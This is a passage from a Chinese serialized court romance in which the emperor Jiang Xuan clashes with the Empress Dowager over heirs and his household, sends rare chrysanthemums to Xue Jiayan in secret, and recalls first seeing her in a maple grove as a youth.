是啊,姜玄那么年轻,又坐拥天下,怎么可能一直没有别的女人?前阵子他一直没找她,想来是正与这位新晋的美人打得火热。 她深吸一口气,强迫自己把注意力重新放回账本上,故作轻松地对云岫道:“高家的事解决了就好,织坊那边你多盯着点,第二批军衣尽快交付给工部。宫里的事,与咱们无关,不必再提了。” 云岫看着她强装镇定的脸,心中叹了口气,终究还是点了点头:“是,婢子知道了。” 严寒果然如薛嘉言所言,一日冷过一日。京城的气温早已跌破冰点,尽管已经提前做了准备,但还是有不少人冻饿而死。北方数州接连传来急报,暴雪压垮了民房,牲畜冻死无数,甚至有偏远村落因积雪滑坡,将整个村子掩埋的事件。北方边境也不安稳,屡次有部族作乱。 姜玄的日子彻底被繁杂的政务填满,每日天不亮就起身,洗漱完毕便直奔紫宸殿,御案案头堆积的奏折堆的像小山,有各地报来的灾情、请求赈济的文书,也有边防送来的战报。 他一边批复奏折,一边召见户部、工部、兵部的官员议事。 朝会更是一场接着一场,往往从清晨开到天黑,朝臣们各执己见。玄既要平衡各方利益,又要做出最稳妥的决策,难免心力交瘁。 这日朝会直到下午未时才散,姜玄拖着疲惫的身躯回到长宜宫,一进暖阁便闭着眼睛靠在铺着厚锦垫的椅背上,揉着发胀的太阳穴。 连日的操劳让他眼下泛起青黑,脸颊也消瘦了不少。 刚歇了没片刻,殿外就传来太监的通报声:“太后娘娘驾到——” 姜玄的眉心不自觉地蹙了一下,疲惫的脸上掠过一丝无奈,但还是强撑着站起身,整理了一下衣袍,迎了上去。 太后带着几个宫女嬷嬷走进来,看到姜玄憔悴的模样,脸上露出疼惜的神色,快步上前道:“皇上这阵子可真是瘦了好多,眼底都青了。哀家刚问了张鸿宝,说你中午只进了小半碗饭,这怎么受得住?身子是根本,再忙也不能亏了自己啊。” 她说着,示意身后的宫女将食盒递上来:“哀家让人做了点你小时候爱吃的滋补粥和几样清淡小菜,皇上过来吃一点,垫垫肚子也好。” 姜玄此刻实在没什么胃口,便淡淡道:“多谢母后关心,朕现在没什么胃口,先放着吧,等会儿饿了再吃。” “那可不行!”太后立刻皱起眉头,语气不容拒绝,“你刚到哀家身边的时候,胃就不好,动不动就疼,哀家费了多少心思才给你调理好?如今这般熬夜操劳,还不按时吃饭,是想把老毛病再惹出来吗?听话,过来坐,多少吃几口。” 姜玄想起自己小时候在冷宫的日子,母妃心思不在他身上,宫人也乐得敷衍,大冬天常常只能吃冷饭冷菜,时间久了,便落下了胃痛的毛病。 后来被太后接到身边,太后心疼他,日日亲自盯着他吃饭,用温补的食材给他调理,那胃病才渐渐好了。 念及此,姜玄心也不好再推拒。他点了点头,走到桌案旁坐下,张鸿宝连忙上前,将食盒里的饭菜一一摆好。 姜玄拿起勺子,舀了一口粥送进嘴里。太后就坐在他旁边的椅子上,眼睛一眨不眨地看着他吃。 夜深了,紫宸殿的烛火依旧亮着,映得殿内一片昏黄。姜玄坐在案前,面前还摊着几封未批复的奏折。 陆怀轻手轻脚地走上前,压低声音:“皇上,天不早了,要不您先回去歇着吧?” 姜玄闭上眼,深吸一口气,确实感到一阵浓重的困倦袭来。他摆了摆手,声音沙哑:“不必回去了,朕在这儿眯一会就好,半个时辰后叫醒朕。” 说着,他起身走到后殿的软榻旁,也没脱外衣,径直和衣躺了上去。他实在太累了,头刚碰到枕头上,便很快坠入了梦乡。 梦里,他似乎又回到了青瓦胡同的宅院。薛嘉言坐在床边,半趴在他身上。她的手指温柔地抚过他的衣襟,耐心地给他解着衣扣,身上还带着熟悉的馨香,清甜又温暖。 姜玄的心跳渐渐加快,身体也泛起一阵燥热,连带着小姜玄都不受控制地抬起头来。 他明知这是梦,却舍不得醒。他甚至下意识地抬手,想握住她的手,想把她搂得更紧些,想在梦中彻底释放一回。 可就在半梦半醒间,姜玄忽然觉得有些不对劲——梦里的触感竟如此真实,指尖似乎真的碰到了柔软的衣料,鼻间也真的萦绕着一缕若有若无的香气。 “谁?!”姜玄猛地睁开眼,瞬间从软榻上坐起身,心头警铃大作。 后殿的灯不知何时灭了,只有前殿的烛火透过帘幕照进来,在帐内投下昏暗的光影。他借着微弱的光线看去,软榻旁竟真的坐着一个女子,身段窈窕,正低着头,看不清面容。 紫宸殿戒备森严,殿内有贴身太监、宫女值守,殿外更是有禁军巡逻,寻常人别说进来,连靠近殿门都难。 姜玄第一反应,以为是哪个胆大包天想爬床的宫女,或是别有用心之人混了进来。他刚要扬声唤人,那女子却突然动了——她没有说话,反而快步上前,猛地扑进了姜玄怀里,双臂紧紧地环住他的腰,身体还在微微发抖,像是受了极大的惊吓。 姜玄的身体瞬间僵住,猛地发力,将怀中的女子用力推开。女子本就身形纤细,被他这一推,跌坐在软榻旁的脚踏上。 姜玄紧接着厉声喝了一句:“滚!” 他的声音带着威严与怒火,在空旷的殿内回荡,激起几分回声。 紧接着,他扬声喊道:“陆怀!陆怀何在?” 可喊了两声,殿外却没有任何回应,平日里随叫随到的陆怀,此刻竟像消失了一般。姜玄心中疑惑,正欲再次呼喊,跌坐在脚踏上的女子忽然低低开口,声音带着委屈:“栖真……” 姜玄浑身血液仿佛瞬间凝固,连呼吸都停滞了片刻。 第107章 安排 紫宸殿。 …… “如母后愿,朕不会立后,这后宫,就这么空着吧!” 姜玄声音冰冷。 太后气结,胸膛起伏,压抑着怒火道:“栖真,我宋家可扶持的皇子有很多!即便今日,我依然敢说这话!” 姜玄冷笑:“好,那朕等着母后再扶持一位皇帝!” 太后愣住,声音沙哑:“栖真,你知道,我不是这个意思!” 姜玄一把从衣架上取下厚重的大氅,胡乱地披在身上,连腰带都没来得及系紧,便快步朝着殿门走去。 到了殿外,姜玄走进冷风里,陆怀这时才从远处跑过来,声音慌乱又焦急:“皇上……” “不必说了,回长宜宫。” 姜玄出声打断了他,不必陆怀说,他已知道了一切。 能把紫宸殿殿内殿外都安排妥当的人,这天下没有几人。 他此刻才明白,为何她支持他不选妃,不立后,原来是有她自己的打算。 姜玄觉得如鲠在喉,十分难受。 冷风吹得姜玄大氅烈烈作响,他一点儿也不觉得冷,反倒因胸中怒火而觉得周身燥热。 回到长信宫,姜玄立刻让人去备水,他要沐浴。 陆怀一边往浴桶里加温水,一边小心翼翼问道:“皇上,要宣苗大人来吗?” 姜玄隐在水中的拳头攥紧了,想了想还是摇摇头:“明日再说。” 夜半三更把苗菁宣过来太招眼了,这也不是什么急事,明天再说也是一样。 姜玄头靠在浴桶壁上,脑中一幕幕闪过紫宸殿的画面,回响着那些让他无法接受的话语。 他知道,今夜过后,前朝后宫的许多事情会变得不一样了,他需要布局,需要缜密的筹谋。 可愈是这样的时候,他愈是烦躁,竟怀念起青瓦胡同的小院,怀念那些缱绻与平淡。 待浴桶里的水温凉,陆怀忍不住上前提醒:“皇上,该起来了。” 姜玄起身,擦干水渍后换好衣裳,到了寝殿,千茉端了一杯参茶过来,姜玄眸色暗了暗,低声道:“千茉,你收拾一下,等会朕会安排你去行宫养胎。” 千茉急道:“皇上,婢子去了行宫,谁来伺候您呢?” 姜玄摆摆手:“你手头上若还有事,交代给玉珍,出去吧,把敖策叫进来。” 敖策是禁卫军副指挥使,是姜玄的心腹之一。 千茉心神不宁出了寝殿,找到陆怀低声问道:“陆公公,我怎么觉得皇上今夜不对,出了什么事?” 在紫宸殿时,陆怀的心被吓得都要跳出来了,如今才刚刚回到原位,他哪里敢说,只说是近来政务繁忙,皇上累了。 千茉去了偏殿找到玉珍,把她要去行宫的事情说了,又把手头上的事情交代了。 玉珍道:“你放心去吧,这会人手也够,我们会伺候好皇上的。” 千茉一脸怅然,低低嗯了一声,玉珍道:“你愁什么,你这福气,说起来谁不羡慕。” 千茉木然道:“有什么好羡慕的,这里面的事情,别人不知道,你还不知道吗。” 不多时,陆怀进来说,请千茉出去,敖指挥使已经安排好人送她出宫去了。 第二日一早,长乐宫的沁芳姑姑带着宫人过来,说是长信宫离紫宸殿太近,紫宸殿常有朝臣来往,怕惊扰了她养胎,奉太后命把她接到长乐宫去住。 陆怀陪笑道:“沁芳姑姑,美人前几日身子不适,太医诊治后建议静养,她喜欢泡汤泉,皇上已经把她送到行宫去养胎了。” 沁芳蹙眉,脸上神情十分冷肃,盯着陆怀看了两眼,冷哼一声,转身带着人走了。 陆怀擦了擦额头冷汗,去了偏殿。这时张鸿宝来了,陆怀附耳把昨夜的事情告诉了张鸿宝,张鸿宝震惊得半晌没说出话,瞪大了眼睛,呆呆地站了一会。 陆怀苦笑道:“这宫里就这两位主子,眼下肯定要开始斗法,咱们可得紧着些,千万别被抓住把柄。” 张鸿宝回过神来,连连称是。 下朝后,张鸿宝把长乐宫今日派人来接千茉的事情说了,姜玄没说什么,只是吩咐道:“跟敖策说一下,一定要守好行宫,再去把苗菁叫过来。” 昨夜姜玄便已猜到接下来会发生什么,他并不着急,念在曾经的恩情,他无论如何都会给她留些情面的。 长乐宫安静了几日,太后称病不出,这几日食不下咽,寝不安眠,她美丽的容颜看着也憔悴了几分。 寝殿内,太后头戴抹额,半靠在迎枕上闭眼小憩。 宫女慧婉进来小声对沁芳姑姑道:“姑姑,内务府送来四十盆极品菊花,还是咱们宫里一半,长宜宫一半吗?” 沁芳姑姑蹙眉,正要开口,太后缓缓道:“还是按照旧历吧,有‘凤凰振羽’和绿萼菊花的话,全都送到长宜宫去。” 慧婉低头应是,出去安排人送菊花。另一宫女则端了参汤进来。 沁芳姑姑接过参汤,坐在绣墩上喂太后喝。 半碗参汤下去,太后疲惫地摆摆手,沙哑着道:“不喝了。” 沁芳姑姑满脸怜爱地看着她,把汤碗放到一旁,小声道:“主子何必自苦。上次春狩,李嬷嬷那样做,也是为了主子您,可您知道后,却还是顺着皇上的意思,把李嬷嬷送走了。若那次春狩就成了事,今日只怕也不是这个局面了。” 太后心情实在糟糕,摆摆手:“你出去吧,让哀家静一静。” 沁芳姑姑出去后,太后将手边一本手札拿起来看。 这是一本诗词摘抄手札,笔迹带着几分生涩拙意,是初学者书写的。 太后眼前闪过一幕幕旧时光,明明自己与他有再造之恩,却不料今日会弄成这样。 她捏着手札的手指略微用力,眸色晦暗不明,不知在想什么。 数十个太监抬着菊花到了长宜宫,张鸿宝命人接下来,一盆一盆摆放到位。 黄昏时姜玄回来,瞧见暖阁里几盆菊花开得正好,旁边又有高脚雁鱼铜灯照着,展开的花瓣流光溢彩,真如凤凰展翅、振羽欲飞。 他本就偏爱菊花,站在一旁细细看了会,忽叫来张鸿宝:“你把这两盆送去给她。” 他没有说明“她”是谁,但张鸿宝就是知道。 “是。老奴知道了,这花明儿一早就会到薛主子屋子里。”张鸿宝笑着说。 “别叫她知道是我送的。”姜玄又补充道。 张鸿宝脸上笑容僵了一瞬,嘴上应了,心里却犯嘀咕,送都送了,瞒着有什么意思,还不如不送。 第108章 画中人 第二日一早,薛嘉言梳洗完了坐下来吃早饭,她平时喜欢吃红枣桂圆粥,可今日刚入嘴,便觉得有些苦。 “司雨,这粥怎么是苦的?”薛嘉言蹙眉,心里突突跳着。 自从知道司春给她下药之后,她对吃食格外小心,按理不应该这样的。 司雨见状拿起另一个勺子,挖了一勺尝了尝,有些疑惑道:“不苦啊,甜的。” 拾英见状也吃了一口,同样说是甜的。 薛嘉言这才松了口气,想来是因为孕期,她身体发生了变化才觉得苦。 薛嘉言端起鸡汤面吃了两口,忽然忍不住捂住嘴,偏头对着一旁干呕起来。 棠姐儿正捧着包子啃,瞧见这一幕,吓得眼眶瞬间红了,扔下包子,眼泪汪汪地扑到她身边:“娘,您没事吧?” 薛嘉言缓了缓,端起手边的温茶喝了一口,温热的茶水滑过喉咙,总算压下了那股想吐的劲。 她抬手摸了摸棠姐儿的脸蛋,柔声道:“娘没事,就是不喜欢这个面的味道,一会儿就好了,乖,别担心。” 话虽这么说,可这一早上她几乎没怎么吃东西,只勉强喝了半碗清粥,胃里还是涨得厉害,总泛着酸水,一点儿胃口都没有。 薛嘉言暗自琢磨,这一胎跟怀棠姐儿时真是天差地别,怀棠姐儿那会儿,她身子利落,除了后期有些笨重,几乎没吐过,哪像现在,才三个月就这般折腾人。 吃过早饭,薛嘉言想着去暖阁看会儿账本,刚一推门进去,就被屋角的一抹翠绿吸引了目光。 暖阁窗边的花架上,不知何时多了一盆菊花,花萼是翡翠般通透的浓绿,层层叠叠裹着中心莹白的花瓣,满室弥漫清雅花香,馥郁却不腻人,闻着就让人神清气爽。 “这是绿萼菊?”薛嘉言走上前细看,眼中满是惊讶,“这可是雅菊上品,寻常人家连见都见不到,开得这般好,是从哪儿来的?” 拾英闻言笑着回道:“是我昨日去花市买的,瞧着主子近日身子乏,想着添盆花给您解闷。除了这盆绿萼菊,还有一盆凤凰振羽,我已经让人送到您内室窗边了。” 薛嘉言眉头微蹙,有些怀疑地看向她:“买的?花市能买到这么好的绿萼菊?这品种稀有,宫里怕是都没几盆。” “也是凑巧。”拾英放下参茶,语气坦然,“花市掌柜的说,这本是权贵人家定的,后来对方临时改了主意,多出来两盆,我瞧着品相实在好,就花了大价钱给买回来了。” 薛嘉言半信半疑地打量着那盆绿萼菊,花型饱满,显然是精心养护的珍品,虽觉得拾英的说辞有些牵强,可看着这花的美貌,心里的疑虑也不想去追究了。 清新的花香闻着让她胃里的涨闷都轻了些,她忽然来了兴致,转头对司雨道:“去把我的笔墨颜料拿来。” 司雨很快取来纸笔,薛嘉言挪到炕桌边坐下,先对着绿萼菊端详了半晌,才蘸了颜料落笔。翠绿的花萼、莹白的花瓣、金黄的花蕊,在她笔下渐渐成型。 一幅菊花图很快完成,薛嘉言左看右看,越看越觉得不满意,忍不住叹息着摇了摇头,对一旁伺候的拾英道:“我小时候,我娘曾请了云山居士教我画了一年画,那时总觉得自己还有些灵气,如今看来,到底是没有天赋,画得实在不好,连这花的三分神韵都没抓住。” 拾英凑过去瞧了瞧,画上的绿萼菊亭亭玉立,配色清雅,虽不算顶尖佳作,却也别有一番韵味,她连忙道:“主子画得很好啊。” 薛嘉言随手将画纸扔到一旁,有些意兴阑珊地靠在软枕上:“罢了,不画了,我还是看账本吧,那个才更适合我。把它拿出去扔了吧。” 拾英捡起被她扔在一旁的菊花图,走到门口时回头望了一眼专注算账的薛嘉言,脸上带着几分若有所思的神色。 她脚步轻快地走进东厢,从柜子里取出一本封皮精致的册子,小心翼翼地将画纸平整地夹进去。 夜深了,京城的寒风越发肆虐,呼啸着卷过宫殿的飞檐,吹得廊下的铜铃叮当作响,在寂静的夜里格外清晰。 紫宸殿内,烛火摇曳,姜玄恍若未闻外头的风声与铃声,指尖握着朱笔,全神贯注地批阅着案上的奏折。 不多时,他终于批完最后一本奏折,将朱笔搁在笔架上,长长舒了口气,半躺在椅背上闭眼休息。倦意刚涌上来,他脑海里闪过送出的两盆菊花,心头泛起一丝念想:不知她看到了没有,有没有猜出是他送的? “皇上,天不早了,该回去歇着了。”张鸿宝抱着大氅走上前,低声提醒道。 姜玄“嗯”了一声,站起来由张鸿宝替他披上大氅,迈步往殿外走去。 宫道上,寒风卷着雪沫子打在脸上生疼,吹得大氅下摆猎猎作响,冷风见缝插针地往衣袍里钻。这股些微的寒冷,让姜玄瞬间想起了太后。 这些日子,太后那边异常安静,除了早前派人要将千茉挪去养胎外,再没有别的异动;前朝也一派平稳,都是些常规政务,宋家的人也安分守己。 姜玄一时摸不清太后的想法,猜不透她这般沉寂背后藏着什么心思,只能暗自警惕,却也忍不住期待:若是能一直维持目前的状态,于皇家、于朝堂、于他自己,都是最好的结果。 回到长宜宫,姜玄洗漱后回到寝殿。他瞧见书案上放着一卷展开的画纸,走过去看了一眼,画上赫然是他送去的那盆绿萼菊,他还没细观画中细节,脸上就忍不住浮上浅浅笑意。 姜玄拿起画纸,坐到灯下细细观赏,只见画中的绿萼菊深浅晕染得恰到好处带着一股清逸的气韵,将绿萼菊的“雅”展现得淋漓尽致。 上次那张青瓦胡同小院的画,姜玄就已经看出薛嘉言画画的功底,他摩挲着画纸,脑海里不自觉地想象着她坐在炕桌边,提笔认真描摹的模样。 忽然,他也来了兴致,转头对张鸿宝道:“去把我的笔墨取来,朕也要画一幅菊花。” 张鸿宝很快备妥纸笔,姜玄对着殿内另一盆墨菊,提笔描摹起来。一刻钟过去,他画出来的菊花,花萼的颜色呆板,花瓣也毫无灵韵,跟薛嘉言的画放在一处对比,高下立见。 姜玄无奈地摇了摇头,将自己的画推到一旁。 薛嘉言是富贵人家娇养长大的,这样的画技除了她自己的天赋,也是名师教导出来的。 而姜玄,十四岁前一直陪着母妃被关在冷宫,连温饱都勉强,哪里有机会接触书画?后来出了冷宫,为了尽快掌握更多的东西,他必须在学业上有所取舍,书画一道,便只能浅尝辄止,自然比不上她的功底。 姜玄忽然想起第一次见到薛嘉言后,他回来画了一幅画,时间长了也不知道还在不在,便问张鸿宝道:“书柜里有张画,放在象牙画筒里的,你帮我找来去。” 第109章 少年的心动 张鸿宝听到后,马上猜到了是哪幅画,他早就放回原处去了,听见皇上要,赶紧跑过去找。 不多时,张鸿宝拿着画筒走过来,姜玄接过去打开了,倒出一张不大的画。 过去好几年,纸张颜色黄了一些,有了些微岁月痕迹,画上的小姑娘却还是笑靥如花。 姜玄细细看了一会,从画中寻到一些旧日记忆,他画技的确太差,只略有几分像薛嘉言,但根本没画出她少女时的灵动。 他看着看着,仿佛又看到了枫林里那个少女。 那年深秋,十四岁的姜玄,送走了他的母妃。 母妃走得很平静,弥留之际,她攥着姜玄的手腕,浑浊的眼里难得有了几分清明,只留下几句遗愿:“你去城外慈恩寺,给我立一块牌位,不要写我是谁的妃子,只刻我的名字就好,我有名字的,我闺名林娴。” 母妃的丧事结束后,姜玄在皇后的安排下,第一次出了宫,去了城南的慈恩寺。 他遵照母妃遗愿,在慈恩寺立了只有她闺名的牌位,又做了一场超度法事,黄昏时分才起身下山。 暮秋时节,天高云淡,远处的山峦镀着一层暖金,景致十分怡人,可姜玄的心情却十分沉重。 母妃在世时,对他素来冷淡,甚至屡次在他耳边咬牙切齿地骂他“孽种”,可血缘终究是斩不断的牵绊,她这一走,姜玄心底空落落的。 他并不怪母妃对他的冷漠,甄太妃曾跟他说过,母妃不喜欢宫里,她原打算熬到二十五岁便出宫归家,可她被醉酒的先帝强占,一切都成了泡影。 母妃恨先帝入骨,自然也没法爱上他这个“不该来”的孩子。 姜玄理解她,但心底总归是失落,望着天边晚霞念叨了一句:“林娴,希望你下辈子自由自在。” 行到半路,姜玄有些乏了,抬眼瞧见前方不远处有一片茂密的枫林,便抬脚走了过去歇歇脚。 秋意正浓,枫林里的叶子红得似火,层叠交错的枝桠间,漏下几缕夕阳的余晖。他刚在一块青石上坐下,就透过叶缝,看到了枫林深处的一抹身影。 是个十五六岁的姑娘,带着两个年岁差不多的丫鬟,三人正弯腰捡拾地上的枫叶。 她穿着一身杏色的襦裙,裙摆绣着淡绿色的缠枝纹,乌黑的长发在两旁两侧挽了个垂髻,簪着缠丝桂花的发簪,极是雅致。 那姑娘肌肤莹白如玉,鼻梁小巧挺直,唇瓣是天然的淡粉色,夕阳的光恰好落在她身上,给她的发梢和肩头镀上了一层柔和的金边,恍若仙子。 那一瞬间,姜玄明白了什么叫“惊为天人”,什么是怦然心动。她就像从画里走出来的仙子,周身都裹着一层朦胧的光晕,美得让人心颤。 姜玄僵在原地,连呼吸都放轻了,生怕自己一动,就惊扰了这画中的人。 他就那样静静看着,直到姑娘拾起满满一捧枫叶,提着裙摆,脚步轻快地翩然走远,身影消失在枫林尽头,他才缓缓松了口气,手心早已攥出了汗。 回到宫里时,天已经黑透了。姜玄坐在书案前,第一次一个字也看不进去。 他挥退了所有伺候的人,独自坐在案前,研了墨,提起笔,凭着记忆描摹黄昏里见到的那个姑娘。 姜玄画了许久,画完后,他拿起画纸看了又看,眉眼间虽有几分相似,她的灵动与神韵,却怎么也画不出来。 正怔怔出神时,门外忽然响起皇后的声音:“玄儿,歇息了吗?” 姜玄心头一慌,手忙脚乱地将画纸塞进案头的抽屉里,又胡乱用书本压住,才起身应道:“儿臣还没,母后请进。” 皇后进来检查了他的功课,又叮嘱了几句便走了。 那一夜,少年的梦里第一次有了少女——梦里是枫林,是夕阳,是那个杏色衣裙的姑娘,她朝他笑,眉眼弯弯,梦境绮丽得让他不愿醒来。 第二日清晨,姜玄醒来时,只觉亵裤一片冰凉黏腻。他半懂不懂,只觉得有些羞赧,悄悄起身换了一件。守在外间的嬷嬷进来收拾时,瞧见了换下的衣物,顿时抿着嘴笑了,“主子长大了。” 那日的膳食,比平日里丰盛了许多,添了不少滋补的汤羹和肉食。 后来,姜玄偷偷将画藏好,脑海里时常跳出来枫林里那抹杏色身影。 他想着那姑娘瞧着和自己年岁相仿,若是他再用功些,得了皇后娘娘的赏,说不定就能借着这份恩宠,求皇后娘娘帮着寻一寻,看看那姑娘到底是京中哪家的闺秀。 少年人的心思纯粹又炽热,那点刚萌芽的情愫,成了他灰暗宫廷生活里唯一的色彩。 彼时先帝的身体日渐衰颓,六位皇子以及各自身后的母族势力,早已斗得你死我活。姜玄本就身份尴尬,无依无靠,只能步步谨慎,处处小心。他不敢在这个节骨眼上,跟皇后娘娘提起这种事情,只能把那份悸动压在心底最深处。 等姜玄稍稍能喘口气了,手上也有了一些可用之人,他第一时间就派了心腹出宫,循着记忆里的线索去查那枫林姑娘的下落。 半个月后,传来消息,可那消息却像一盆冷水,浇灭了姜玄心头所有的热望。 他心悦的那个姑娘,早已在半年前嫁了人,夫君是新科进士,相貌俊朗,两人是一对璧人。 姜玄捏着那封密报,心头像是被什么东西堵住了,闷得厉害。他连着许多日都不曾展颜。他想,或许他和她的缘分就只有枫林那匆匆一面。 再后来,先帝骤然驾崩,宫中掀起滔天巨浪,各方势力厮杀到最后,竟是无依无靠的他,被太后和一众老臣推上了帝位。 十八岁的少年,一夜之间成了九五之尊,面对的是满朝文武和偌大的江山。他要学的东西太多了,如何平衡朝局,如何安抚百姓,如何巩固皇权,桩桩件件都压得他喘不过气,那份藏在心底的少年心事,便被他渐渐压了下去,仿佛从未出现过。 直到臻楼那一次的再见。 彼时他已是帝王,她已是他人妇,他一眼就认出了她。 姜玄知道不可能这么巧,京城上百万人口,他绝不会恰好撞见当年那个让他心动的姑娘,可当四目相对的刹那,他的心狂跳不止。 他还是接受了这份“巧合”,甚至生出了一丝隐秘的窃喜。再次见到她,一个念头在心底疯狂滋长:他想要她。 隐藏心头的情愫,刹那间星火燎原,势不可挡。 第110章 逼他 姜玄对着那幅并不大像的画像,不过看了片刻,心神却已跨越了四五年的光阴,从慈恩寺外的枫林,走到了臻楼的重逢,又落回了此刻的长宜宫。 他低低地叹息一声,指尖轻轻拂过画纸上的少女,眼底漫上一层落寞。 他想,换做任何一个女人,处在薛嘉言的境地,怕是都会怨他吧。怨他的强权,怨他的纠缠,怨他毁了她安稳的生活。 纵然他是天子之尊,坐拥万里江山又如何?他不能掌控一个女人的心。 先帝有那么多妃子,其中真心爱慕者,又有几人? 就像母妃,被他强占,终此一生对他只有恨而已。 并不是所有人都会因为他的身份就爱他,甚至可以说,这偌大的皇宫里,这苍茫的天下间,并没有任何人是真正爱他的。 他是万民敬仰的帝王,也是这世间最孤独的一人。 姜玄想到这些,看着旧画而起的缱绻情思淡了,默默将画收好。 第二日天刚还未亮,姜玄梳洗完毕后去上早朝。 他前脚刚走,沁芳姑姑带人捧着一个精致的食盒来了,说是太后瞧着皇帝这阵子政务繁忙,身子清减,特意送了些补品过来,给陛下补身子。 当值的陆怀不敢怠慢,连忙上前收下,又让人奉了热茶招待沁芳姑姑。 沁芳姑姑抿了口茶,状似随意地开口:“陆公公,听说柳美人被挪去了宫外的温泉行宫?依我看,宫外终究不比宫里,万事哪有宫里齐全,龙胎要是有个闪失可怎么好?” 陆怀垂着眼,语气平淡却不失分寸:“姑姑有所不知,柳美人身子弱,太医说温泉行宫那边温暖湿润,最是养胎,不仅有太医随侍,宫里还派了不少人手过去照料,娘娘和龙胎都安稳得很。” 沁芳姑姑点点头,笑着问道:“前日太后让人送过去的菊花,陛下可还喜欢?尤其是那盆凤凰振羽,可是这次进贡菊花中的珍品。” “陛下很是喜欢。”陆怀依旧是那副不卑不亢的模样,说完便作揖道,“姑姑,前殿还等着我伺候,我顺路送您出去吧。” 沁芳姑姑只得跟着陆怀出了长宜宫。 回到长乐宫,沁芳姑姑将方才的对话一五一十禀报,末了又补充道:“娘娘,我特意瞧了眼长宜宫的花架,其他菊花都在,唯独那盆最大的凤凰振羽没瞧见。按理说那么大一盆花,该摆在最惹眼的地方才是,实在蹊跷。” 太后闻言,秀眉瞬间蹙起,沉声道:“去查查那盆花的去向。” 天黑时分,沁芳姑姑就带回了消息:“娘娘,前夜张鸿宝带着两个小太监,用一辆青布马车推了个大件出去,东西还罩着黑布,看尺寸和形状,十有八九就是那盆凤凰振羽。” 太后的脸色瞬间沉了下来,胸口起伏,几乎要压不住翻涌的火气。 她原以为姜玄对柳千茉不过是聊解深夜寂寥,没想到姜玄这么上心。 沁芳姑姑压低声音道:“娘娘,这男人啊,一旦跟女人身体亲近了,心也就近了。” 太后攥紧了手,强压下怒意,对沁芳姑姑冷声道:“去长宜宫传话,就说哀家昨夜受了寒,身子不适,请皇帝过来探病。” 姜玄收到消息,淡淡道:“劳烦姑姑回禀母后,朕这几日身子沉得很,怕是染了风寒,若是过去探病,万一过了病气给母后,反倒得不偿失,便先不去了,改日再去给母后请安。” 太后听完,气得当场就摔碎了手边的白瓷茶杯。 第二日早朝,议完边关军备和此次寒灾许多事宜,礼部侍郎窦和风出列,捧着笏板躬身道:“陛下,天子乃万民表率,孝为百善之首。如今太后凤体违和,陛下却久不省视慈闱,于礼不合,于情不顺,恐失四海之心啊!” 姜玄蹙眉,未发一言。 窦和风话音刚落,都察院的御史江繁出列,言辞更是犀利:“陛下此举,有违人伦大义!古有桀纣不孝,终致亡国之祸,还请陛下以史为鉴,速往长乐宫探望太后,以安朝野之心!” 甚至有御史意有所指地补充:“太后乃陛下登基数之根本,陛下岂能寒了太后与宋家之心!” 宗室几位亲王也随之附和,纷纷劝谏皇帝要以孝为本,不可失了臣子之心。 姜玄脸色铁青,沉默片刻,他忽然沉声道:“众位卿家既如此关心母后身体,那便正好,待散朝后,随朕一同前往长乐宫探病。” 此言一出,殿内大臣瞬间面面相觑。皇帝带百官一同探病,这事儿从未有过先例,可仔细想想,又确实说不出哪里违制,一时竟没人能反驳。 散朝后,方才上奏的礼部尚书、御史,还有宋家在朝中的两位核心官员,只能硬着头皮跟着姜玄往长乐宫去。 长乐宫显然早已得了消息,一切都安排得妥妥当当。 太后并未露面,只在寝殿帘后答话,声音听着有些虚弱:“劳烦陛下和众位卿家挂心,哀家不过是小恙,不日便好,倒是陛下要多保重龙体。” 太医院院判也当着众人的面,躬身禀报太后病情:“回陛下、众位大人,太后娘娘是旧伤导致的体虚,加之娘娘近日忧劳过度,这才昏沉无力。臣会更换方子,尽快让娘娘痊愈。” 姜玄听完,当即吩咐院判:“既如此,便劳烦太医好生伺候母后,不可有半点差池。母后需静养,朕等便不多打扰了。” 说罢,他便带着一众臣子躬身告退。 长乐宫安静下来后,太后维持着一个姿势坐了很久,脸上看着没什么表情,眼神却愈发阴冷。 太后招手叫了沁芳姑姑过来,附耳说了几句话,沁芳姑姑面色变幻,点了点头,出去安排。 第111章 共掌过江山的人 腊月,一场鹅毛大雪席卷了京城,天地间尽是白茫茫一片。 姜玄身着玄色貂裘,独自站在长宜宫的廊下,望着漫天飞雪簌簌落下,肩头落了薄薄一层白霜也浑然不觉,心头的沉重比这寒冬的冰雪更甚。 他忧心北方几地的百姓,这场大雪已连下三日,朔风如刀,这般酷寒时节,不知会有多少百姓冻饿而死。 念及此,姜玄眉头紧锁,脑海中已飞速回转着数项应对举措:即刻下旨让户部开仓放粮,优先调拨北方各州府的储备粮草,由禁军护送确保粮草安全抵达;传召太医院,选派擅长治冻伤的御医带队前往北方,设立临时医棚救治冻伤百姓;令工部赶制一批简易保暖的草席、棉衣,连同炭火一同运往受灾之地;同时下旨减免北方受灾州县来年的赋税,安抚民心。 姜玄正思量着后续的赈灾细节,身后传来急促的脚步声,张鸿宝躬着身子匆匆走近,神色凝重,到了近前便压低声音禀报道:“皇上,敖指挥使刚刚遣人送了消息过来,昨夜有人夜闯温泉行宫,被禁军当场拿下。还没来得及审讯,那两人便咬碎了口中的毒囊,已经服毒自尽了。” “嗯?”姜玄身子一怔,原本紧锁的眉头拧得更紧,周身的气息也冷了几分,冷声道:“让敖策把行宫守严实了,任何人不得随意进出。” “是!老奴这就去传旨!”张鸿宝应声,转身快步走远。 廊下只剩姜玄一人,他望着漫天飞雪,呼吸不由得有些紊乱,胸口像是被什么重物压住,闷得发慌。 他没想到,太后的手段竟来得这么快,也这么狠。夜闯行宫,目标昭然若揭,无非是冲着柳美人来的。或许她以为,这一切都是因为柳千茉而起。 太后显然还未放弃那个荒唐的念头,如今不过是先用后宫的事拿捏他,逼他妥协。他若是执意不从,以太后和宋家的行事风格,前朝很快便会有异动。偏偏又处在这天灾当头的关键时期,任何一点风波都可能引发大乱。 漫天风雪中,姜玄的身影显得格外孤寂。 这一刻,他想起了薛嘉言,想起她的温柔和柔软的身子,想起两人在私宅相处时的片刻安宁,心头竟涌起一股强烈的渴望,很想此刻就见到她,把她紧紧抱在怀里。 但紧接着,他又暗自庆幸,幸好没有在这个时候让她进宫。 姜玄在廊下立了许久,回到温暖的殿内,一冷一热交替,便觉得鼻塞。加之近来朝廷诸多事宜千头万绪,他本就心力交瘁,当夜便觉得脑袋昏沉发重。 张鸿宝瞧着不对,不敢有半分耽搁,当即转身就去传召太医院的太医。 长宜宫这边动静不小,宫里本就在太后的掌控之下,消息自然很快就传到了她耳中。 长宁宫内,太后面上浮现出浓重的忧色,对身侧的沁芳说道:“他身子一贯康健,怎么忽然就病了?” 